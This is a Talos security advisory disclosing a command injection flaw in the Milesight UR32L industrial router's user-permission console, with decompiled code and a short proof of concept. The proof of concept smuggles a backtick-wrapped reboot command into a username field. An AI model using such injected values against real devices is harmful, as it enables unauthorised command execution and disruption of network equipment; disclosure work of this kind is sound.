Talos Vulnerability Report

TALOS-2023-1711

Milesight UR32L ys_thirdparty check_system_user OS command injection vulnerability

July 6, 2023
CVE Number

CVE-2023-22365

SUMMARY

An OS command injection vulnerability exists in the ys_thirdparty check_system_user functionality of Milesight UR32L v32.3.0.5. A specially crafted set of network packets can lead to command execution. An attacker can send a network request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight UR32L v32.3.0.5

PRODUCT URLS

UR32L - https://www.milesight-iot.com/cellular/router/ur32l/

CVSSv3 SCORE

7.2 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

DETAILS

The Milesight UR32L is an industrial radio router. The router features include support for multiple VPNs, a router console shell, firewall and many others.

The router offers telnet and sshd services. Both, when provided with the correct credentials, will allow access to the Router console. This is an interactive shell to modify the router setting.

Here is the prompt after the login:

*** TERMINFO:/etc/terminfo TERM:linux *****
-- model:UR32L,sn:<redacted>,hwver:0300 partnumber:<redacted>--

-------------------------------------------------------------------------
Product Model        : UR32L
Firmware Version     : 32.3.0.5
-------------------------------------------------------------------------

ROUTER> 

The service has several functionalities; the number of functionalities depends on the user privileges. Indeed, the admin user can access the enable command, which will allow access to a highly privileged command menu:

ROUTER> enable 
ROUTER# 
  cellular-gps-dev
  clear             Reset functions
  configure         Configuration from vty interface
  copy              Copy from one file to another
  core              Set debug level
  debug             Debugging functions (see also 'undebug')
  disable           Turn off privileged mode command
  enable            Turn on privileged mode command
  end               End current mode and change to enable mode
  exit              Exit current mode and down to previous mode
  list              Print command list
  modbus-master
  no                Negate a command or set its defaults
  ping              Send echo messages
  quit              Exit current mode and down to previous mode
  reload            Halt and perform a cold restart
  show              Show running system information
  ssh               Open an ssh connection
  telnet            Open a telnet connection
  terminal          Set terminal line parameters
  test              Test
  traceroute        Trace route to destination
  undebug           Disable debugging functions (see also 'debug')
  write             Write running configuration to memory, network, or terminal

Issuing the configure terminal makes it possible to access the user_permission command that allows user related actions:

ROUTER(user-permission)# 
  end        End current mode and change to enable mode
  exit       Exit current mode and down to previous mode
  list       Print command list
  no         remove the user
  show       show the user information
  superuser  set superuser name or password
  user       check the user password

The user command allows several modifications of user related data. If the command is issued as user <username> name <new_username> or user <username> password <new_password>, this will modify, respectively, the username or the password of an existing user. The command is managed by the ys_thirdparty’s rwuser_set function:

undefined4 rwuser_set(undefined4 param_1,undefined4 param_2,undefined4 param_3,char **argv)

{
  int is_superuser;
  char **does_exist;
  char *username;

  username = *argv;
  is_superuser = strcmp(username,superuser);
  if (is_superuser == 0) {
    vty_out(param_2,"[failed]:user %s is superuser, use another command to modify\n",username);
    return 0;
  }
  does_exist = (char **)rwuser_find_by_username(username);
  if (does_exist == (char **)0x0) {
    is_superuser = check_system_user(username);
    [...]
  }
  [...]
}

This function will check in two different lists of users, the “service” user ones and the ones that are actually linux system user. If the username provided does not correspond with some “service” user, the username provided will be checked against the linux users through the check_system_user function:

void check_system_user(char *user)

{
  int iVar1;
  FILE *__stream;
  FILE *pFVar2;
  char popen_command [256];

  iVar1 = __stack_chk_guard;
  popen_command._0_4_ = 0;
  memset(popen_command + 4,0,0xfc);
  snprintf(popen_command,0x100,"%s chk 0 %s","/usr/sbin/userpermit.sh",user);                                   [1]
  __stream = popen(popen_command,"r");                                                                          [2]
  [...]
}

This function will compose, at [1], the string /usr/sbin/userpermit.sh chk 0 <username>, and then at [2] will execute it with the popen function. Because no checks about the provided username are performed, from issuing the command until [2], a command injection exists in check_system_user that allows arbitrary command execution as privileged user.

Exploit Proof of Concept

Following a POC triggering a reboot of the system through the command injection exposes above:

*** TERMINFO:/etc/terminfo TERM:linux *****
-- model:UR32L,sn:<redacted>,hwver:0300 partnumber:<redacted>--

-------------------------------------------------------------------------
Product Model        : UR32L
Firmware Version     : 32.3.0.5
-------------------------------------------------------------------------

ROUTER> enable 
ROUTER# configure terminal         
ROUTER(config)# user_permission 
ROUTER(user-permission)# user `reboot` name test
the user `reboot` is not exist!
ROUTER(user-permission)# Connection closed by foreign host.

The Connection closed by foreign host. is the consequence of the device rebooting.

VENDOR RESPONSE

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor_vulnerability_policy.html

TIMELINE

2023-02-14 - Initial Vendor Contact
2023-02-21 - Vendor Disclosure
2023-07-06 - Public Release

Credit

Discovered by Francesco Benvenuto of Cisco Talos.